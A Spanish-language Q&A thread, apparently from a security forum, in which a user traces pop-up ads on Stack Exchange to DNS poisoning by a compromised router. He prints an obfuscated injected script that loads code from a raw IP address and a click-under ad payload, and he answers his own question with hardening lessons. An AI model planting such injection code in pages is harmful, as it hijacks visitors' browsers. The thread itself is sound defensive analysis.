El javascript de Stack Exchange es malicioso

18

Recientemente, he descubierto un problema bastante molesto: cada primer clic que tengo en cualquier sitio de Stack Exchange crea un anuncio emergente. Esto sucede en mi computadora de escritorio, computadora portátil, teléfono e incluso una máquina virtual. Llegué a la conclusión de que esta es la nueva función de anuncios de Stack Exchange y me quejé en meta.stackexchange ...... hasta que descubrí que era la única persona afectada por esto.

Sin querer creer que he sido tan descuidado para permitir que un virus ingrese a mi computadora (y por el ego de ser un "experto en seguridad" en mi empresa), continué investigando la causa raíz. Observé:

  1. Esto solo afecta a los sitios de Stack Exchange.
  2. Esto es reproducible en 4 dispositivos: computadora de escritorio, computadora portátil, teléfono y máquina virtual.
  3. El problema no ocurre si navego por https.

Esto me llevó a pensar que este es un problema de red: alguien inyectó JavaScript malicioso en algún lugar del documento HTML mientras se transporta como texto sin cifrar en HTTP. Después de aproximadamente 30 minutos de captura y análisis de tráfico de red, encontré que esta parte del código se encuentra en la parte inferior de cualquier página de Intercambio de pila:

        (function () {
        var ssl='https:'==document.location.protocol,
            s=document.getElementsByTagName('script')[0],
            qc=document.createElement('script');
            qc.async = true;
            qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
            s.parentNode.insertBefore(qc, s);
            _qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
                        var sc=document.createElement('script');
            sc.async=true;
            sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
            s.parentNode.insertBefore(sc, s);
            _comscore.push({ c1: "2", c2: "17440561" });
    })();

inicia la carga de JavaScript malicioso en mi navegador.

Si beacon.js se carga a través de HTTPS, es un excelente JavaScript minificado de una línea. Pero si se carga a través de HTTP, se agrega una segunda línea:

!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();

que es una forma confusa de cargar http://103.16.230.165/stats/XCQ67 , que contiene:

function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;

Ahora, no es de extrañar que estuviera viendo anuncios.

La pregunta es la implicación de este hallazgo. Veo algunas posibilidades aquí:

  1. Alguien cerca de mi red está olfateando paquetes HTTP e inyectando contenido malicioso en ellos. Debería cambiar todo a HTTPS siempre que sea posible (Nunca ingrese credenciales o números de tarjetas de crédito en HTTP, pero debo llevar esto un paso más allá)
  2. Mi enrutador ASUS ha sido infectado. (Un autor de virus sensible infectaría todas las páginas que visito, no solo un sitio en particular)
  3. Hay un dispositivo infectado en mi intranet. (apago todo y probé un dispositivo a la vez, todavía sucede, por lo que la única posibilidad es el enrutador).
  4. scorecardresearch.com usa el geo-cast para acelerar su red. Uno de sus servidores host está infectado. (lo que explicaría por qué no todos lo ven)
  5. scorecardresearch.com es malicioso. De alguna manera, los servidores (o la red) de Stack Exchange están infectados; Stack Exchange nunca tuvo la intención de incluir scorecardresearch.com en sus scripts.

Por el momento he bloqueado scorecardresearch.com .

Mi mejor estimación (4): uno de los servidores de scorecardresearch.com está infectado. Sin embargo las consecuencias de (1) son severas. También explicaría por qué no todos están afectados. ¿Cómo puedo distinguir más (1) y (4)?

¿He omitido algo o debería haber hecho para protegerme?

    
pregunta kevin 11.06.2016 - 17:02
fuente

1 respuesta

19

Gracias, Alexandar O'Mara por indicarme la dirección correcta, fue un pequeño consejo, pero me llevó hasta allí.

Corrí nslookup con los dominios y obtuve:

C:\Users\xxx>nslookup scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Name:    scorecardresearch.com
Address:  103.16.230.165

C:\Users\xxx>nslookup sb.scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Non-authoritative answer:
Name:    e2799.e7.akamaiedge.net
Address:  23.198.112.87
Aliases:  sb.scorecardresearch.com
          sb.scorecardresearch.com.edgekey.net

Tenga en cuenta que la dirección devuelta es exactamente la misma que la dirección que aloja el contenido malicioso. Envenenamiento de DNS .

¿Cómo puede ser eso? Alguien debe divertirse publicitando sus falsos servidores DNS en la red cercana. No, volví a revisar la configuración de mi enrutador y obtuve:

Notéquelasfunciones"servidor VPN" y "administrador de acceso desde WAN" estaban habilitadas en el enrutador, solo unas horas antes cuando escribí la pregunta. Los desactivé sin levantar sospechas, pensando que debí haberlo habilitado algún tiempo y olvidarme de ello. Ahora sé por qué.

El caso está cerrado (=

Lecciones aprendidas:

  1. Nunca habilite el panel de administración del enrutador para acceder desde Internet. Hay robots por ahí que escanearán la red y la fuerza bruta se abrirá camino incluso si tienes una contraseña segura.
  2. El envenenamiento de DNS se puede usar para inyectar contenido malicioso en el flujo HTTP sin que el usuario lo sepa. (Tuve la suerte de que este es un anuncio, que es observable y obvio, no un troyano o algún otro contenido dañino)
  3. SSL es una buena manera de protegerse contra el envenenamiento de DNS.
respondido por el kevin 11.06.2016 - 22:42
fuente

Lea otras preguntas en las etiquetas